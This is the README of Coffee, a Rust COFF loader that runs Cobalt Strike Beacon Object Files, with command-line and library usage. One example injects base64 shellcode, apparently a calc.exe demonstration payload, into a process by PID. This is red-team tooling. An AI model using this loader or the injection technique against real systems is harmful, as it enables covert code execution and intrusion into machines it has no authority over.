Coffee

Coffee is a custom implementation of the original Cobalt Strike's beacon_inline_execute. It is written in Rust and supports most of the features of the Cobalt Strike compatibility layer. Coffee is structured so it can be used as a library in other projects too.

The original blog post can be found here: https://labs.hakaioffsec.com/coffee-a-coff-loader-made-in-rust/

Usage

$ coffee.exe -h
Coffee: A COFF loader made in Rust

Usage: coffee.exe [OPTIONS] --bof-path <BOF_PATH> [-- <ARGS>...]

Arguments:
  [ARGS]...  Arguments to the BOF passed after the "--" delimiter, supported types are: str, wstr, int, short, bin

Options:
  -b, --bof-path <BOF_PATH>      Path to the Beacon Object File (BOF)
  -e, --entrypoint <ENTRYPOINT>  The entrypoint name to execute in case of a custom entrypoint name [default: go]
  -v, --verbosity <VERBOSITY>    Verbosity level, 0 = ERROR, 1 = WARN, 2 = INFO, 3 = DEBUG, 4 = TRACE [default: 0]
  -h, --help                     Print help
  -V, --version                  Print version

Arguments

Arguments for the BOF can be passed after the -- delimiter. Each argument must be prefixed with the type of the argument followed by a colon (:). The following types are supported:

  • str - A null-terminated string
  • wstr - A wide null-terminated string
  • int - A signed 32-bit integer
  • short - A signed 16-bit integer
  • bin - A base64-encoded binary blob

Examples

Using the dir.x64.o BOF from the trustedsec/CS-Situational-Awareness-BOF repository and passing arguments to the BOF:

coffee.exe --bof-path .\dir.x64.o -- wstr:"C:\\Windows\\System32"

Using the ntcreatethread.x64.o BOF from the trustedsec/CS-Remote-OPs-BOF repository and passing a PID and the shellcode to execute as base64-encoded binary data.

coffee.exe --bof-path .\ntcreatethread.x64.o -- int:1337 bin:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA

Usage as library

cargo add coffee-ldr

Coffee can be used as a library in other projects. The following example shows how to use Coffee to load a BOF and execute the BOF:

use coffee_ldr::loader::Coffee;

fn main() {
    let whoami_bof: [u8; 6771] = [
        0x64, 0x86, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x14, 0x00, 0x00, 0x33, 0x00, 0x00,
        ...
    ];

    let _ = Coffee::new(&whoami_bof).unwrap().execute(None, None, None);
}

The example above will execute the BOF passed as an array of bytes and show the output in console.
